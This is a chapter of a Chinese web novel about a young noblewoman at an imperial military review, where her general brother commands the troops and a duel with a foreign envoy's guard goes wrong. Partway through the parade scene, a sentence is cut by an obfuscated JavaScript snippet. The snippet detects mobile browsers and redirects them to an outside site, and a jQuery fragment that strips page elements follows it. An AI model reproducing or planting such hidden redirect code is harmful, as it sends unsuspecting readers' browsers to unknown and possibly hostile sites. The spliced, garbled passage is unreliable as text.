“我不能说。”琴心警惕地看了江瑜一眼,“如果你哥哥得知我对你讲了这些,他会杀了我的。” …… 刚走出琴心的房门,玉影过来了。她低声回禀道:“小姐,守在户部尚书府外的人回话了。说是梁行章每日按部就班地上值、进宫,没什么异常举动。就是有个借住在他家的侄儿,每日进进出出好几趟,似乎也没个正经营生。” 许多在朝中当了大官的臣子家中都免不得暂住几个来打秋风的亲戚,江瑜并不太在意,随口道:“派一个人去盯那个侄子就好,其他人还是暗中观察梁行章的一举一动。” “是。”玉影应道,“还有一事,大少爷从宫里让人传话,让小姐准备准备,明日一早陛下就要巡视三军了。京城里的高门世族都可携家眷参加。” “我知道了,你先下去吧。“ 这天晚上江涣之没有回来,估计是住在军营里了。第二日一早,江夫人收拾妥当了就来到瑜园,和江瑜一道上了马车。 到达校场,日头正好,晴空万里。江瑜挽着手和江夫人一起走进去,上方的坐席已经坐了些人,徐绫远远看见她就在招手:“江瑜,这儿!” 江夫人眉眼弯了弯,对江瑜道:“去吧。” 江瑜走到徐绫身边坐下,江夫人则和其他夫人一起坐在了另一侧。徐绫的丫鬟立在一旁摇着扇子,她递过来一个食盒,里面装满了蜜饯和糕点。 “你最近都在忙什么?”徐绫问。 江瑜笑着道:“没忙什么,就是读读书,绣绣花样子。” “你也喜欢刺绣?”徐绫闻言一喜,“那你下次来我府上,我们一起绣。” 裴家出事之前,江瑜的确常常刺绣。因此她并不抗拒,答应道:“那就说好了。” 徐绫正要再说话,忽然看见太子和三皇子来了,连忙提醒:“快起身行礼。” 江瑜与徐绫一道站起身,欠身道:“臣女见过太子殿下,见过三殿下。” “不必多礼。”太子朗声道。他今日穿着红色衮龙袍?,袍身绣有五爪龙纹,与三皇子站在一块,二人俱是气宇轩昂的派头。 太子已经带着侍从往前走了,江瑜正要坐下,忽地一抬头,发现三皇子还没走,像是有些好奇似地打量着她。江瑜连忙又是一扶,头也埋得更低了。 三皇子一走,江瑜望着那道背影,蹙起了眉。 “怎么了?”徐绫拉着她坐下,“三殿下人很好的,温良敦厚,连宫中下人都不曾罚过。他定是看你眼生,这才多看了几眼。” 江瑜回过神,心道自己真是有些惊弓之鸟了。 不一会儿,北漠使臣和璟和帝也到了。璟和帝与皇后坐在最中间的高台上,北漠使臣坐得就要稍矮一些,大概比龙椅矮一个头的样子。 江瑜远远打量起那几个使臣,心中暗暗心惊。那几人个个都生得五大三粗,身量奇高,江瑜长这么大还从没见过体型这样魁梧的人。 这样的人如果有成千上万,再组成训练有素的军队,那可真是恐怖如斯。还听闻他们骑术了得,一支铁骑能荡平几个旗的步兵。江涣之打败的居然就是这样的一支军队。 “原来这就是北漠人,长得好高大啊。”徐绫也有同样的感叹:“这还只是使臣,真正上战场打仗的兵士不知有多可怕。” 然而转念一想,这样彪悍奇伟的人还不是照样被大夏的军队打得只能俯首称臣,徐绫便生出一股自豪感。 江瑜的目光几经流转,最后落在了璟和帝身侧,最末端的一个陌生脸孔上。 她扯了扯徐绫的衣袖问:“那个人是谁,怎么上次宫宴没见过?” “那个啊,是六皇子。”徐绫极小声地道:“他的生母是一个出身卑微的宫女,陛下也只是喝醉之后无意宠幸过一回。六皇子平日很少现身,性情也有点孤僻。” 江瑜再一看,那六皇子的确有些阴郁的样子。不仅没有两个哥哥的气势,就连普通官宦子弟的气度都比不上。 吉时已到,全场皆静。起初是三军列阵,赵承昱所带领的金吾卫也鱼贯而出,形成一列站在了皇帝的高台下方。 紧接着是锣鼓鸣动,气势恢弘的战鼓被敲响,主帅江涣之骑马而来,他头戴簪缨,身着玄甲,披风被吹得高高扬起来。若不是单骑而来,恍惚间会让人觉得他身后仿佛跟着千军万马。 行至高台前,江涣之拉紧缰绳,身下马匹的一双前蹄高高扬起,发出一声嘶鸣,再稳稳当当地落下。战鼓声也在此刻倏然停止,江涣之行云流水地下马跪在璟和帝身前请旨,随着一声“阅示三军”的旨意,阅军仪式正式开始。 众人全都屏息凝神,就连北漠来的使臣也被这番景象所震撼。 江涣之又回到了马背,只不过从策马奔腾变成了按辔徐行,每行至一处,整装素容的兵将们都会齐齐变换战阵,一切都迅速、严密,整齐划一得仿佛皮影戏里那些受到操控的人偶。 数万大军在变化阵形时的场面宏大壮观,江涣之只要一声呼号,兵士便齐声回应,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638543|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势震天。 更多的时候江涣之都不需要开口,一个眼神或一个手势,战鼓声随之一变,那么步兵和骑兵就会在转瞬间交换站位,配合无间地往前冲锋。列队拉弓的弓箭手也一样,拉弓和出箭的动作行云流水,破空声甚至能汇成一道仿若山雨欲来的呼啸。 仪式结束,校场内久久没有再发出任何声音。末了,璟和帝颤颤巍巍地站起身,神色激动难掩,不知是谁最先跪了下去,高台下众人齐齐跪地,高呼“大夏昌盛”。 江瑜已经对这一套流程十分熟练了,从善如流地跪下去,起身后还不忘拍拍裙摆上的灰尘。 “你哥哥可真威风。”徐绫感叹道。皇后让内侍送来了梅子汤,江瑜接过来喝了一口,甜滋滋的,咽下去以后一路甜到了心里。 她当然知道哥哥很威风了,不仅威风,还骁勇善战,战无不胜! 不远处的北漠使臣阿史那图尔朝璟和帝跪拜,用不太熟练的汉话说道:“大夏兵强马壮,训练有素,真是令人叹服。” 阿史那图尔是北漠可汗的舅舅,即便长着满脸的大胡子也没能掩盖住他的钦佩之色。 璟和帝笑道:“何不派出一个你的侍卫,与朕的大夏男儿比试一番?” 这样的提议自然是表演性质居多,刚刚经历了那样盛大恢弘的阅兵,璟和帝也有意想让局面变得轻松些。阿史那图尔朝身边亲卫努了努嘴,示意他出阵,又向璟和帝请道:“外臣是否可以随意挑选对手?” 璟和帝道:“自然。” 阿史那图尔放眼望去,已经有几名武将和自小习武的世家公子都出了列,跃跃欲试地等着被挑选。 阿史那图尔扫了一圈,竟抬手指向了六皇子,“外臣选这位殿下。” 若不是这一指,许多人根本没注意到还有个六皇子在场。璟和帝一向不喜这个孩子,可金口玉言不好收回,便沉着脸道:“愣着做什么,去,拿起武器迎战。” 六皇子名叫萧慎,别说是今日这样的大场合了,就是往常在宫里,他也是最不起眼的那一个。眼看文武百官,包括父皇在内的视线都落在了自己身上,萧慎硬着头皮起身,走到校场内,选了一把长剑握在手上。 萧慎幼时是练过武的,可没人操心他的课业,他练得也只是马马虎虎。比武从一开始他就落入了下风,北漠侍卫力大无穷,一把大铁锤舞得虎虎生风,萧慎被逼得连连后退。 萧慎紧张不已,越是不想出丑就越是频出昏招,呼吸和步伐全乱了,主动出击是不可能的,光是躲避对方的招式就已经急得满头大汗,形容狼狈了。 阿史那图尔本来只想找回点面子,没料到随手挑选的皇子竟会这般招架不住。他并不想将场面闹得太难看,于是紧急喊了声停,示意亲卫收手。 萧慎的招式没什么章法,早就是一通乱打了,此时对面突然收势,他反而收不住力。北漠侍卫躲闪不及只能向上跃起,不知怎地手中铁锤突然不受控制地抛了出去。 一切都发生得太快,以至于当徐绫惊叫出声时那把铁锤已经朝着她们砸下来了。江瑜抓紧徐绫的手臂,正想带着她飞身躲避,然而那把铁锤并未落下,有一个人挡在她身前,抬手将这个庞然大物牢牢握住了。 是江涣之。 除了江涣之,还有一个人也急急赶了过来。赵承昱脸色煞白,心都快跳出来了。即便目睹危机已经解除,江瑜也安然无恙,他却依然紧紧盯着江瑜,仿佛在害怕只要一错眼,那她就又会消失。